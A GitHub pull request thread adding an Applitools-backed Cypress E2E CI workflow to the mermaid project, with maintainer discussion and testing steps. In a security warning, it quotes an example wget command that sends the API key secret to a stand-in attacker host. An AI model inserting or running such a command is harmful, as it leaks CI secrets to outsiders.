ci(e2e-applitols): add applitools CI action

[aloisklink]

📑 Summary

Adds a workflow_dispatch GitHub Actions CI workflow that performs an E2E Cypress rendering test with Applitools integration, as discussed in #3459

📏 Design Decisions

If the APPLITOOLS_API_KEY secret is not set (an @mermaid-js admin will have to set this using https://docs.github.com/en/actions/security-guides/encrypted-secrets), this action fallsback to just doing a normal E2E Cypress test without Applitools support.

This way, the action still works even if you're running from a fork.

Example of how to start a run manually

The Parent branch argument should be used as the baseline for Cypress (not tested since my free Applitools key doesn't have this feature). I've set this to default to master, for the release flow (as discussed in #3459 (comment)), but for PRs to develop, we can override this with develop.

📋 Tasks

Make sure you

• 📖 have read the contribution guidelines
• 💻 have added unit/e2e tests (if appropriate)
  • I've tested this on my aloisklink/mermaid fork (see https://github.com/aloisklink/mermaid/actions/workflows/e2e-applitools.yml), but unfortunately my APPLITOOLS_API_KEY has run out of credits, so I'm not 100% sure this will work, only 95% sure.
• 🔖 targeted develop branch

[knsv]

@aloisklink Is this one ready to go? Or does ot depend on the other one!

[aloisklink]

@aloisklink Is this one ready to go? Or does ot depend on the other one!

Ready to go (the other stuff discussed in #3491 is separate)!

However it's only 95% tested; I'm unsure if the APPLITOOLS_PARENT_BRANCH feature will work. My free Applitools account ran out of credits for this month, so I can't test any further.

My feeling is that it's ready to be merged now, so that you can test this action on the develop branch.
If the baseline/parent branch feature doesn't work properly, I'll have a look at it next month (or if the @mermaid-js account has credit leftover at the end of a month, I could test using that account).

[knsv]

OK @aloisklink, merging! Great work with this! The e2e tests are the backbone of our release process and the earlier we can plug them in the better!

[aloisklink]

OK @aloisklink, merging! Great work with this! The e2e tests are the backbone of our release process and the earlier we can plug them in the better!

👍 Awesome :) It's now appeared at https://github.com/mermaid-js/mermaid/actions/workflows/e2e-applitools.yml

Testing

My recommended testing methodology is:

1. Setup GitHub Actions Secret called APPLITOOLS_API_KEY (requires GitHub Admin) (view instructions here)
   • My recommendation is to keep generate a new key and lock down the permissions. It's hidden from everybody, but a member of @mermaid-js (or a hacker that gets into a @mermaid-js account) could change a GitHub Action to do wget https://hacker-server.example?KEY=${{ APPLITOOLS_API_KEY }} and get the key.
2. Run E2E Applitools on develop branch with PARENT_BRACH=develop to generate baseline.
3. Run E2E Applitools on a PR branch with PARENT_BRANCH=develop to test comparing from PR to baseline.